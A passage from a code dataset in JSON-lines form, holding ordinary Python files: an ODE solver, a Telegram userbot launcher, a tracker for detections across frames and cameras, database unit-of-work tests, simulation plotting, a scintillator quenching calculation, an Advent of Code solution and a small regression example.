accuracy)\n\n runge_x, runge_result = [el[0] for el in first_dots.result], [el[1] for el in first_dots.result]\n y = runge_result[:4]\n\n for i in range(4, n):\n y_prediction = prediction(h, f, x, y, i)\n y_correction = correction(h, f, x, y, i, y_prediction)\n\n while abs(y_correction - y_prediction) > accuracy:\n y_prediction = y_correction\n y_correction = correction(h, f, x, y, i, y_prediction)\n y.append(y_correction)\n\n return ODUResult(x, y)\n\n\ndef prediction(h, f, x, y, i):\n tmp = 2 * f(x[i - 3], y[i - 3]) - f(x[i - 2], y[i - 2]) + 2 * f(x[i - 1], y[i - 1])\n return y[i - 4] + 4 * h * tmp / 3\n\n\ndef correction(h, f, x, y, i, y_pred):\n tmp = f(x[i - 2], y[i - 2]) + 4 * f(x[i - 1], y[i - 1]) + f(x[i], y_pred)\n return y[i - 2] + h * tmp / 3\n","repo_name":"otto15/computational-math-lab6","sub_path":"backend/service/method/miln.py","file_name":"miln.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36703695396","text":"import asyncio\nimport sys\nfrom importlib import import_module\nfrom time import time\nfrom requests.packages import urllib3\nfrom . import (\n __license__,\n __copyright__,\n __version__,\n __tlversion__,\n __layer__,\n __pyversion__,\n)\nfrom .config import Var, hl\nfrom .core.base_client import getter_app\nfrom .core.helper import plugins_help\nfrom .core.patched import apply\nfrom .core.property import do_not_remove_credit\nfrom .core.startup import (\n trap,\n migrations,\n autopilot,\n verify,\n autous,\n finishing,\n)\nfrom .core.utils import time_formatter\nfrom .logger import LOGS\n\napply()\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nsuccess_msg = \">> Visit @kastaid for Updates !!\"\nif Var.DEV_MODE:\n trap()\n print(\n \"\\nDEV_MODE config enabled.\\n\"\n + \"Some codes and functionality will not work normally.\\n\"\n + \"If you need to run in Production then comment DEV_MODE or set value to False or remove them!\\n\"\n )\n\n\nasync def main() -> None:\n migrations()\n await autopilot()\n await verify()\n LOGS.info(\">> Load Plugins...\")\n load = time()\n plugins = getter_app.all_plugins\n for p in plugins:\n try:\n if p[\"path\"].startswith(\"custom\"):\n plugin = \"getter.plugins.\" + p[\"path\"]\n else:\n plugin = \"getter.\" + p[\"path\"]\n import_module(plugin)\n LOGS.success(\"[+] \" + p[\"name\"])\n except Exception as err:\n LOGS.exception(f\"[-] {p['name']} : {err}\")\n loaded_time = time_formatter((time() - load) * 1000)\n loaded_msg = \">> Loaded Plugins: {} , Commands: {} (took {}) : {}\".format(\n plugins_help.count,\n plugins_help.total,\n loaded_time,\n tuple(_[\"name\"] for _ in plugins),\n )\n LOGS.info(loaded_msg)\n do_not_remove_credit()\n python_msg = \">> Python Version - {}\".format(\n __pyversion__,\n )\n telethon_msg = \">> Telethon Version - {} [Layer: {}]\".format(\n __tlversion__,\n __layer__,\n )\n launch_msg = \">> 🚀 Getter v{} launch ({} - {}) in {} with handler [ {}ping ]\".format(\n __version__,\n getter_app.full_name,\n getter_app.uid,\n getter_app.uptime,\n hl,\n )\n LOGS.info(python_msg)\n LOGS.info(telethon_msg)\n LOGS.info(launch_msg)\n LOGS.info(__license__)\n LOGS.info(__copyright__)\n await autous(getter_app.uid)\n await finishing(launch_msg)\n LOGS.success(success_msg)\n\n\nif __name__ == \"__main__\":\n try:\n getter_app.run_in_loop(main())\n getter_app.run()\n except (\n KeyboardInterrupt,\n SystemExit,\n ConnectionError,\n asyncio.exceptions.CancelledError,\n ):\n pass\n except Exception as err:\n LOGS.exception(f\"[MAIN_ERROR] : {err}\")\n finally:\n LOGS.warning(\"[MAIN] - Getter Stopped...\")\n sys.exit(0)\n","repo_name":"kastaid/getter","sub_path":"getter/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"47"} +{"seq_id":"72924293901","text":"import statistics\n\nimport numpy as np\nfrom scipy.optimize import linear_sum_assignment\n\nWIDTH = 1920\nHEIGHT = 1080\nMAX_AGE = 600\n\n\nclass Tracklet:\n def __init__(self, tracklet_id, frame_id, bbox, features, cam_id):\n self.tracklet_id = tracklet_id\n self.cam_id = cam_id\n self.bboxes = [bbox] # x,y,w,h\n self.last_bbox = bbox # x1,y1,x2,y2\n self.x_values = [bbox[0]]\n self.y_values = [bbox[1]]\n self.w_values = [bbox[2] - bbox[0]]\n self.h_values = [bbox[3] - bbox[1]]\n self.last_features = features\n self.tracklet_features = features\n self.first_frame_id = frame_id\n self.last_frame_id = frame_id\n self.frame_ids = [frame_id]\n\n def update(self, frame_id, bbox, features):\n self.update_bbox(bbox)\n\n self.frame_ids.append(frame_id)\n\n # Empirical mean\n alpha = 1/len(self.frame_ids)\n self.last_features += alpha * (features - self.last_features)\n\n self.last_frame_id = frame_id\n\n\n def update_bbox(self, new_bbox):\n # print(new_bbox)\n self.last_bbox = new_bbox\n\n self.x_values.append(new_bbox[0])\n self.y_values.append(new_bbox[1])\n self.w_values.append(new_bbox[2] - new_bbox[0])\n self.h_values.append(new_bbox[3] - new_bbox[1])\n\n\n def get_bbox(self):\n result = [None] * 4\n\n result[0] = float(statistics.median(self.x_values)/WIDTH)\n result[1] = float(statistics.median(self.y_values)/HEIGHT)\n result[2] = float(statistics.median(self.w_values)/WIDTH)\n result[3] = float(statistics.median(self.h_values)/HEIGHT)\n\n return result\n\n\n def get_final_features(self, cam_id=None, bbox=False):\n final_features = []\n\n if cam_id is not None:\n final_features.extend(cam_id)\n\n if bbox:\n final_features.extend(self.get_bbox)\n\n final_features.extend(list(self.last_features))\n\n\n def length(self):\n return len(self.frame_ids)\n\n\nclass TrackletManager():\n def __init__(self, min_iou=0.7, max_cosine_distance=0.3, max_tracklet_length=10, cam_id=1):\n self.min_iou = min_iou\n self.max_cosine_distance = max_cosine_distance\n self.max_tracklet_length = max_tracklet_length\n self.cam_id = cam_id\n\n self.tracklets = []\n self.next_tracklet_id = 1\n self.frame_id = 1\n\n def init_tracklet(self, bbox, features):\n self.tracklets.append(Tracklet(\n self.next_tracklet_id,\n self.frame_id,\n bbox,\n features,\n self.cam_id\n ))\n\n self.next_tracklet_id += 1\n\n def is_tracklet_done(self, tracklet):\n return tracklet.length() >= self.max_tracklet_length or (self.frame_id-tracklet.last_frame_id) > MAX_AGE\n\n def update(self, frame_id, features_and_detections):\n self.frame_id = frame_id\n popped_tracklets = []\n\n if not self.tracklets:\n for di, dv in enumerate(features_and_detections):\n self.init_tracklet(\n dv[\"bbox\"],\n dv[\"features\"]\n )\n else:\n cost_matrix = []\n index_matches = []\n\n for di, dv in enumerate(features_and_detections):\n index_matches.append(di)\n cosine_distances = [1000.0] * len(self.tracklets)\n\n for i, tracklet in enumerate(self.tracklets):\n if self.compute_iou(\n dv[\"bbox\"],\n tracklet.last_bbox\n ) > self.min_iou:\n cosine_distances[i] = self.compute_cosine_dist(\n dv[\"features\"],\n tracklet.last_features\n )\n if cosine_distances[i] > self.max_cosine_distance:\n cosine_distances[i] += 1000\n\n cost_matrix.append(cosine_distances)\n\n if len(cost_matrix) > 0:\n cost_matrix = np.array(cost_matrix, dtype=np.float32)\n indices = linear_sum_assignment(cost_matrix)\n\n for ij in range(len(indices[0])):\n detection_index = indices[0][ij]\n tracklet_index = indices[1][ij]\n\n if cost_matrix[detection_index][tracklet_index] < self.max_cosine_distance:\n self.tracklets[tracklet_index].update(\n self.frame_id,\n features_and_detections[index_matches[detection_index]][\"bbox\"],\n features_and_detections[index_matches[detection_index]][\"features\"]\n )\n\n index_matches[detection_index] = -1\n\n # Initialize new tracklets for no-match detections\n for ii, vv in enumerate(index_matches):\n if vv != -1:\n self.init_tracklet(\n features_and_detections[vv][\"bbox\"],\n features_and_detections[vv][\"features\"]\n )\n\n # Pop finished tracklets\n tracklets_to_pop = []\n for ti, tracklet in enumerate(self.tracklets):\n if self.is_tracklet_done(tracklet):\n tracklets_to_pop.append(ti)\n\n tracklets_to_pop.sort(reverse=True)\n\n for pi in range(len(tracklets_to_pop)):\n popped_tracklets.append(\n self.tracklets.pop(\n tracklets_to_pop[pi]\n )\n )\n\n return popped_tracklets\n\n def compute_iou(self, boxA, boxB):\n if isinstance(boxA, type(None)) or isinstance(boxB, type(None)):\n return 1.0\n\n xA = max(boxA[0], boxB[0])\n yA = max(boxA[1], boxB[1])\n xB = min(boxA[2], boxB[2])\n yB = min(boxA[3], boxB[3])\n\n interArea = max(0, xB - xA + 1) * max(0, yB - yA + 1)\n\n boxAArea = (boxA[2] - boxA[0] + 1) * (boxA[3] - boxA[1] + 1)\n boxBArea = (boxB[2] - boxB[0] + 1) * (boxB[3] - boxB[1] + 1)\n\n iou = interArea / float(boxAArea + boxBArea - interArea)\n\n return iou\n\n def area2d(self, b):\n return (b[2]-b[0])*(b[3]-b[1])\n\n def iou2d(self, b1, b2):\n ov = self.overlap2d(b1, b2)\n return ov / (self.area2d(b1) + self.area2d(b2) - ov)\n\n def compute_cosine_dist(self, emb1, emb2):\n sim = np.dot(emb1, emb2)/(np.linalg.norm(emb1)*np.linalg.norm(emb2))\n return 1.0-float(sim)\n\n","repo_name":"bcsefercik/mtmct","sub_path":"app/tracklet_manager.py","file_name":"tracklet_manager.py","file_ext":"py","file_size_in_byte":6557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74131090383","text":"import threading\nimport time\nimport traceback\n\nimport pytest\n\nfrom domain.model import OrderLine, Quantity, Sku, Reference\nfrom service_layer.unit_of_work import SqlAlchemyUnitOfWork\n\n\ndef insert_batch(session, ref, sku, qty, eta, product_version=1):\n\tsession.execute(\n\t\t\"INSERT INTO product (sku, version_number) VALUES (:sku, :version)\",\n\t\tdict(sku=sku, version=product_version)\n\t)\n\tsession.execute(\n\t\t\"INSERT INTO batch (reference, sku, _purchased_quantity, eta)\"\n\t\t\" VALUES (:ref, :sku, :qty, :eta)\",\n\t\tdict(ref=ref, sku=sku, qty=qty, eta=eta),\n\t)\n\n\ndef get_allocated_batch_ref(session, orderid, sku):\n\t[[order_line_id]] = session.execute(\n\t\t\"SELECT id FROM order_line WHERE reference=:orderid AND sku=:sku\",\n\t\tdict(orderid=orderid, sku=sku),\n\t)\n\t[[batch_ref]] = session.execute(\n\t\t\"SELECT b.reference FROM allocation JOIN batch AS b ON batch_id = b.id\"\n\t\t\" WHERE order_line_id=:orderlineid\",\n\t\tdict(orderlineid=order_line_id),\n\t)\n\treturn batch_ref\n\n\ndef test_uow_can_retrieve_a_batch_and_allocate_to_it(test_session_factory):\n\tsession = test_session_factory()\n\tinsert_batch(session, \"batch1\", \"HIPSTER-WORKBENCH\", 100, None)\n\tsession.commit()\n\n\tuow = SqlAlchemyUnitOfWork(test_session_factory)\n\twith uow:\n\t\tproduct = uow.products.get(sku=Sku(\"HIPSTER-WORKBENCH\"))\n\t\tline = OrderLine(Reference(\"o1\"), Sku(\"HIPSTER-WORKBENCH\"), Quantity(10))\n\t\tproduct.allocate(line)\n\t\tuow.commit()\n\n\tbatch_ref = get_allocated_batch_ref(session, \"o1\", \"HIPSTER-WORKBENCH\")\n\tassert batch_ref == \"batch1\"\n\n\ndef test_rolls_back_uncommitted_only_when_has_exception(sqlite_session_factory):\n\tuow = SqlAlchemyUnitOfWork(sqlite_session_factory)\n\twith uow:\n\t\tinsert_batch(uow.session, \"batch1\", \"MEDIUM-PLINTH\", 100, None)\n\n\tnew_session = sqlite_session_factory()\n\trows = list(new_session.execute('SELECT * FROM \"batch\"'))\n\tassert rows == [(1, 'batch1', 'MEDIUM-PLINTH', 100, None)]\n\n\ndef test_rolls_back_on_error(sqlite_session_factory):\n\tclass MyException(Exception):\n\t\tpass\n\n\tuow = SqlAlchemyUnitOfWork(sqlite_session_factory)\n\twith pytest.raises(MyException):\n\t\twith uow:\n\t\t\tinsert_batch(uow.session, \"batch1\", \"LARGE-FORK\", 100, None)\n\t\t\traise MyException()\n\n\tnew_session = sqlite_session_factory()\n\trows = list(new_session.execute('SELECT * FROM \"batch\"'))\n\tassert rows == []\n\n\ndef try_to_allocate(orderid, sku, exceptions):\n\tline = OrderLine(reference=orderid, sku=sku, quantity=Quantity(10))\n\ttry:\n\t\twith SqlAlchemyUnitOfWork() as uow:\n\t\t\tproduct = uow.products.get(sku=sku)\n\t\t\tproduct.allocate(line)\n\t\t\ttime.sleep(0.2)\n\t\t\tuow.commit()\n\texcept Exception as e:\n\t\tprint(traceback.format_exc())\n\t\texceptions.append(e)\n\n\ndef test_concurrent_updates_to_version_are_not_allowed(postgres_session_factory):\n\tsku, batch = 'LAMP', 'batch1'\n\tsession = postgres_session_factory()\n\tinsert_batch(session, batch, sku, 100, eta=None, product_version=1)\n\tsession.commit()\n\torder1, order2 = 'order1', 'order2'\n\texceptions: list[Exception] = []\n\n\tdef try_to_allocate_order1(): return try_to_allocate(order1, sku, exceptions)\n\n\tdef try_to_allocate_order2(): return try_to_allocate(order2, sku, exceptions)\n\n\tt1 = threading.Thread(target=try_to_allocate_order1)\n\tt2 = threading.Thread(target=try_to_allocate_order2)\n\tt1.start()\n\tt2.start()\n\tt1.join()\n\tt2.join()\n\t[[version]] = session.execute(\n\t\t'SELECT version_number from product WHERE sku=:sku',\n\t\tdict(sku=sku)\n\t)\n\tassert version == 2\n\t[exception] = exceptions\n\tassert 'could not serialize access due to concurrent update' in str(exception)\n\n\torders = list(\n\t\tsession.execute(\n\t\t\t\"SELECT order_line_id from allocation\"\n\t\t\t\" JOIN batch ON allocation.batch_id = batch.id\"\n\t\t\t\" JOIN order_line ON allocation.order_line_id = order_line.id\"\n\t\t\t\" WHERE order_line.sku=:sku\",\n\t\t\tdict(sku=sku)\n\t\t)\n\t)\n\tassert len(orders) == 1\n\twith SqlAlchemyUnitOfWork() as uow:\n\t\tuow.session.execute('select 1')\n","repo_name":"dibolsoni/ArchitecturePatternsPython","sub_path":"tests/integration/test_uow.py","file_name":"test_uow.py","file_ext":"py","file_size_in_byte":3808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41503362948","text":"import os\nimport shutil\nimport sys\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport sklearn\nimport plotly.graph_objects as go\nfrom plotly.colors import n_colors\n\n\ndef graph_one(x, y, title, x_title, y_title):\n fig, actual_plot = plt.subplots(figsize=(15, 7))\n actual_plot.plot(y, x)\n\n plt.xlabel(x_title)\n plt.ylabel(y_title)\n\n plt.savefig(\"../Simulation-Processed/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" + args[6] + \"/\" + title + \".png\")\n\n\ndef graph_two(w, x, y, title, x_title, y_title, legend_1, legend_2):\n fig, actual_plot = plt.subplots(figsize=(15, 7))\n actual_plot.plot(y, w)\n actual_plot.plot(y, x)\n\n plt.legend([legend_1, legend_2], loc='upper left')\n plt.xlabel(x_title)\n plt.ylabel(y_title)\n\n plt.savefig(\"../Simulation-Processed/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" + args[6] + \"/\" + title + \".png\")\n\n\ndef graph_three(v, w, x, y, title, x_title, y_title, legend_1, legend_2, legend_3):\n fig, actual_plot = plt.subplots(figsize=(15, 7))\n actual_plot.plot(y, v)\n actual_plot.plot(y, w)\n actual_plot.plot(y, x)\n\n plt.legend([legend_1, legend_2, legend_3], loc='upper left')\n plt.xlabel(x_title)\n plt.ylabel(y_title)\n\n plt.savefig(\"../Simulation-Processed/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" + args[6] + \"/\" + title + \".png\")\n\n\ndef graph_four(u, v, w, x, y, title, x_title, y_title, legend_1, legend_2, legend_3, legend_4):\n fig, actual_plot = plt.subplots(figsize=(15, 7))\n actual_plot.plot(y, u)\n actual_plot.plot(y, v)\n actual_plot.plot(y, w)\n actual_plot.plot(y, x)\n\n plt.legend([legend_1, legend_2, legend_3, legend_4], loc='upper left')\n plt.xlabel(x_title)\n plt.ylabel(y_title)\n\n plt.savefig(\"../Simulation-Processed/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" + args[6] + \"/\" + title + \".png\")\n\n\ndef graph_six(s, t, u, v, w, x, y, title, x_title, y_title, legend_1, legend_2, legend_3, legend_4, legend_5, legend_6):\n fig, actual_plot = plt.subplots(figsize=(15, 7))\n actual_plot.plot(y, s)\n actual_plot.plot(y, t)\n actual_plot.plot(y, u)\n actual_plot.plot(y, v)\n actual_plot.plot(y, w)\n actual_plot.plot(y, x)\n\n plt.legend([legend_1, legend_2, legend_3, legend_4, legend_5, legend_6], loc='upper left')\n plt.xlabel(x_title)\n plt.ylabel(y_title)\n\n plt.savefig(\n \"../Simulation-Processed/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" +\n args[6] + \"/\" + title + \".png\")\n\n\ndef graph_seven(r, s, t, u, v, w, x, y, title, x_title, y_title, legend_1, legend_2, legend_3, legend_4, legend_5, legend_6, legend_7):\n fig, actual_plot = plt.subplots(figsize=(15, 7))\n actual_plot.plot(y, r)\n actual_plot.plot(y, s)\n actual_plot.plot(y, t)\n actual_plot.plot(y, u)\n actual_plot.plot(y, v)\n actual_plot.plot(y, w)\n actual_plot.plot(y, x)\n\n plt.legend([legend_1, legend_2, legend_3, legend_4, legend_5, legend_6, legend_7], loc='upper left')\n plt.xlabel(x_title)\n plt.ylabel(y_title)\n\n plt.savefig(\"../Simulation-Processed/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" +args[6] + \"/\" + title + \".png\")\n\n\nargs = sys.argv\nx_axis = []\ndays = int(args[2])\n\nfor i in range(days):\n x_axis.append(i)\n\nprint(sys.path)\noutput_data_path = \"../Simulation-Raw/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" + args[6]+ \".csv\"\noutput_pandas = pd.read_csv(output_data_path)\n\nif os.path.exists(\"../Simulation-Processed/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" + args[6] + \"/\"):\n shutil.rmtree(\"../Simulation-Processed/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" + args[6] + \"/\")\n\nos.makedirs(\"../Simulation-Processed/\" + args[1] + \"_\" + args[2] + \"_\" + args[3] + \"_\" + args[4] + \"_\" + args[5] + \"_\" + args[6] + \"/\")\n\ncpi = output_pandas['CPI'].values\ntarget_price = output_pandas['TargetPrice'].values\nbasket_price = output_pandas['BasketPrice'].values\n\ngraph_two(target_price, basket_price, x_axis, 'Actual_Basket_Value_vs_Ideal_basket_Value_and_CPI', 'Price(GBP)', 'Days', 'Target Price', 'Basket Price')\n\nbasket_minted = output_pandas['BasketMinted'].values\nbasket_tokens_minted = output_pandas['BasketTokensMinted'].values\nuser_size = output_pandas['UserBaseSize'].values\n\ngraph_two(user_size, basket_tokens_minted/1000, x_axis, 'Userbase_Size_vs_Tokens_Minted', 'Days', 'Amount(Tokens and Users)', 'Userbase Population Size', 'Basket Tokens Minted/100')\n\ngraph_two(basket_minted, basket_tokens_minted*10, x_axis, 'Total_Basket_and_Basket_Tokens', 'Days', 'Quantity(Tokens and GBP)', 'Total Basket Value', 'Basket Tokens Mintedx10',)\n\ndebt_ceiling = output_pandas['DebtCeiling'].values\nxrp_debt_ceiling = output_pandas['XRPDebtCeiling'].values\nbtc_debt_ceiling = output_pandas['BTCDebtCeiling'].values\neth_debt_ceiling = output_pandas['ETHDebtCeiling'].values\nlink_debt_ceiling = output_pandas['LINKDebtCeiling'].values\nltc_debt_ceiling = output_pandas['LTCDebtCeiling'].values\nusdt_debt_ceiling = output_pandas['USDTDebtCeiling'].values\n\ngraph_six(xrp_debt_ceiling/100, btc_debt_ceiling/10, eth_debt_ceiling/10, link_debt_ceiling, ltc_debt_ceiling/100, usdt_debt_ceiling,\n x_axis, 'Debt_Ceilings', 'Days', 'GBP', 'A-XRP', 'W-BTC', 'ETH', 'LINK', 'P-LTC', 'USDT')\n\nxrp_exchange_rates = output_pandas['XRPExchangeRate'].values\nbtc_exchange_rates = output_pandas['BTCExchangeRate'].values\neth_exchange_rates = output_pandas['ETHExchangeRate'].values\nlink_exchange_rates = output_pandas['LINKExchangeRate'].values\nltc_exchange_rates = output_pandas['LTCExchangeRate'].values\nusdt_exchange_rates = output_pandas['USDTExchangeRate'].values\n\ngraph_seven(xrp_exchange_rates*5000, btc_exchange_rates, eth_exchange_rates*10, link_exchange_rates*1000, ltc_exchange_rates*50, usdt_exchange_rates*10000,\n basket_price*1000, x_axis, 'Exchange_Rates', 'Days','GBP', 'A-XRPx5000', 'W-BTC', 'ETHx10', 'LINKx1000', 'P-LTCx50', 'USDTx10000', 'BSKTx1000')\n\nxrp_sfs = output_pandas['XRPSF'].values\nbtc_sfs = output_pandas['BTCSF'].values\neth_sfs = output_pandas['ETHSF'].values\nlink_sfs = output_pandas['LINKSF'].values\nltc_sfs = output_pandas['LTCSF'].values\nusdt_sfs = output_pandas['USDTSF'].values\n\ngraph_six(xrp_sfs, btc_sfs, eth_sfs, link_sfs, ltc_sfs, usdt_sfs, x_axis, 'Stability_Fees', 'Days', '%', 'A-XRP', 'W-BTC', 'ETH', 'LINK', 'P-LTC', 'USDT')\n\nxrp_lrs = output_pandas['XRPLR'].values\nbtc_lrs = output_pandas['BTCLR'].values\neth_lrs = output_pandas['ETHLR'].values\nlink_lrs = output_pandas['LINKLR'].values\nltc_lrs = output_pandas['LTCLR'].values\nusdt_lrs = output_pandas['USDTLR'].values\n\ngraph_six(xrp_lrs, btc_lrs, eth_lrs, link_lrs, ltc_lrs, usdt_lrs, x_axis, 'Liquidation_Ratios', 'Days', '%', 'A-XRP', 'W-BTC', 'ETH', 'LINK', 'P-LTC', 'USDT')\n\nkeeper_holdings = output_pandas['KeeperHoldingPercentage'].values\nkeeper_tradings = output_pandas['KeeperTradePercentage'].values\n\ngraph_two(keeper_holdings, keeper_tradings, x_axis, 'Keeper_Statistics', 'Days', '%', 'Keeper Holdings Percentage', 'Keeper Trade Percentage')\n\nlocked_xrp = output_pandas['LockedXRP'].values\nlocked_btc = output_pandas['LockedBTC'].values\nlocked_eth = output_pandas['LockedETH'].values\nlocked_link = output_pandas['LockedLINK'].values\nlocked_ltc = output_pandas['LockedLTC'].values\nlocked_usdt = output_pandas['LockedUSDT'].values\n\ngraph_six(locked_xrp/100, locked_btc/10, locked_eth/10, locked_link, locked_ltc/100, locked_usdt, x_axis, 'Collaterals_Locked_Vaults', 'Days', 'GBP', 'A-XRP', 'W-BTC', 'ETH', 'LINK', 'P-LTC', 'USDT')\n\nbsr = output_pandas['BSR'].values\n\ngraph_one(bsr, x_axis, 'BSR', 'Days', '%')\n\nbuyer_num = output_pandas['BuyerNums'].values\nbuyer_quants = output_pandas['BuyerQuants'].values\nseller_num = output_pandas['SellerNums'].values\nseller_quants = output_pandas['SellerQuants'].values\n\ngraph_two(buyer_num, seller_num, x_axis, 'Sellers_Buyers', 'Days', 'Number of People', 'Buyers', 'Sellers')\ngraph_two(buyer_quants, seller_quants, x_axis, 'Supply_Demand', 'Days', 'GBP', 'Buys', 'Sells')\n\nsuccessful_sales = output_pandas['SuccessfulSaleCounts']\n\ngraph_two(successful_sales, user_size/5, x_axis, 'Sales_VS_Users', 'Days', 'Amount', 'Successfull Sales', 'Userbase Population Size')\n","repo_name":"SamirFarhat17/dissertation-basket-simulation","sub_path":"Scripting/Dataset-Creation/OutputProcessing.py","file_name":"OutputProcessing.py","file_ext":"py","file_size_in_byte":8476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21502467730","text":"import numpy as np\nfrom EQ_cythonized_PDE.evolveDensitiesCython import PDEsolver\nfrom EQ_model_functions.functions import scintillator_parameters, \\\n track_structure_parameters, Blanc_model_parameters, integrate_signal\n\n\ndef getQCF(scintillator_name, track_structure_name,\n E_MeV_per_A, z_projectile, A_projectile):\n '''\n Calculate the quenching correction factor\n\n INPUT:\n - scintillator name\n - track structure model\n - kinetic energy per nucleon [MeV/A]\n - projectile charge (multipla of the elementary charge)\n - nucleon number of the projectile\n\n OUTPUT:\n - array with the quenching correction factors for each specified energy\n '''\n\n # scintillator parameters\n sc_params = scintillator_parameters(scintillator_name)\n scint_decaytime_s, light_yield, density_g_cm3, Z_A_scintillator = sc_params\n\n # Blanc model parameters\n Blanc_params = Blanc_model_parameters(track_structure_name)\n diff_cm2_s, alpha_cm3_s, beta_cm6_s = Blanc_params\n\n # projectile track parameters\n rMin_cm, rMax_cm, LET_MeV_cm = track_structure_parameters(\n track_structure_name,\n E_MeV_per_A,\n z_projectile,\n A_projectile,\n density_g_cm3,\n Z_A_scintillator\n )\n\n N_0 = light_yield * LET_MeV_cm # linear exciton density\n QCF_array = np.empty(len(E_MeV_per_A))\n\n for idx, (N0, rmin, rmax) in enumerate(zip(N_0, rMin_cm, rMax_cm)):\n # times the functions recursively calls itself to find a time step dt\n n_tries = 1\n\n emissionResults = PDEsolver(\n track_structure_name,\n N0,\n rmin,\n rmax,\n scint_decaytime_s,\n n_tries,\n diff_cm2_s,\n alpha_cm3_s,\n beta_cm6_s)\n\n scintillator_response, dt, n_tries = integrate_signal(emissionResults)\n\n # reference calculation using the same time step as above\n reference_results = PDEsolver(\n track_structure_name,\n N0,\n rmin,\n rmax,\n scint_decaytime_s,\n n_tries,\n diff_cm2_s,\n dt=dt)\n\n reference_signal, dt, n_tries = integrate_signal(reference_results)\n\n QCF = reference_signal / scintillator_response\n QCF_array[idx] = QCF\n return LET_MeV_cm, QCF_array\n\n\nif __name__ == \"__main__\":\n\n scintillator = \"BCF-12\"\n track_structure_name = \"Scholz_Kraft\"\n\n z_ion, A_ion = 2, 4\n E_MeV_per_A = np.linspace(10, 200, 3)\n\n getQCF(scintillator, track_structure_name, E_MeV_per_A, z_ion, A_ion)\n","repo_name":"jbrage/ExcitonQuenching","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"26232292126","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport difflib\n\n\ndef get_multi_letter_counts(box_ids):\n n2, n3 = {}, {}\n\n for box_id in box_ids:\n char_counts = {s: list(box_id).count(s) for s in list(box_id)}\n\n for c, n in char_counts.items():\n if n == 2:\n n2[box_id] = True\n elif n == 3:\n n3[box_id] = True\n\n return (len(n2), len(n3))\n\n\ndef find_close_two(box_ids):\n for b1 in box_ids:\n for b2 in box_ids:\n diffs = 0\n diff_idx = -1\n\n for i, s in enumerate(difflib.ndiff(b1, b2)):\n if s[0] == '':\n continue\n if s[0] == '-':\n diffs += 1\n diff_idx = i\n\n if diffs == 1:\n box_id = list(b1)\n del box_id[diff_idx]\n return ''.join(box_id)\n\n raise Exception(\"No matches found\")\n\n\ndef main():\n box_ids = []\n with open('data/day02.txt') as f:\n for line in f:\n box_ids.append(line.strip())\n\n (n2, n3) = get_multi_letter_counts(box_ids)\n print('Solution part 1: {}'.format(n2*n3))\n\n print('Solution part 2: {}'.format(find_close_two(box_ids)))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Luzifer/advent-of-code-2018","sub_path":"day02.py","file_name":"day02.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20645928693","text":"\nimport pandas as pd\nimport numpy as np\nfrom sklearn import linear_model\nimport matplotlib.pyplot as plt\n\ndf = pd.read_csv('homeprices.csv')\n#print(df)\n\n'''\nplt.xlabel('area')\nplt.ylabel('price')\nplt.scatter(df.area,df.price,color='red',marker='+')\nplt.show()\n'''\n\narea = df[['area']]\n#print(area)\n\nprice = df.price\n#print(price)\n\n# Create linear modelression object\nmodel = linear_model.LinearRegression()\nmodel.fit(area,price)\n\npredicted = model.predict([[3000]])\n#print(predicted)\n\n# Y = m * X + b (m is coefficient and b is intercept)\n#print(model.coef_)\n#print(model.intercept_)\n\n\n# Generate CSV file with list of home price predictions\narea_df = pd.read_csv(\"areas.csv\")\n#print(area_df.head(3))\n\np = model.predict(area_df)\n#print(p)\n\narea_df['prices']=p\n#print(area_df)\n\narea_df.to_csv(\"prediction.csv\")\n\n\nplt.xlabel('area')\nplt.ylabel('price', fontsize=10)\nplt.scatter(df.area,df.price,color='red',marker='+')\nplt.plot(df.area,model.predict(area),color='blue')\nplt.show()\n","repo_name":"yungbyun/myml","sub_path":"kaggle/linear_regression/house_price.py","file_name":"house_price.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"45492700116","text":"import random\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nimport sys;\r\nimport os;\r\nimport shutil;\r\n\r\n\r\nwordList = [];\r\ndef create_wordList():\r\n with open(\"words.txt\",\"r\") as myfile:\r\n for line in myfile.readlines():\r\n if(len(line) > 5):\r\n wordList.append(line.replace(\"\\n\",\"\"))\r\n\r\ndef listToString(s): \r\n str1 = \"\" \r\n for ele in s: \r\n str1 += ele \r\n return str1 \r\n\r\ndef select_Random_Word():\r\n return wordList[random.randrange(0, len(wordList))];\r\n\r\ndef 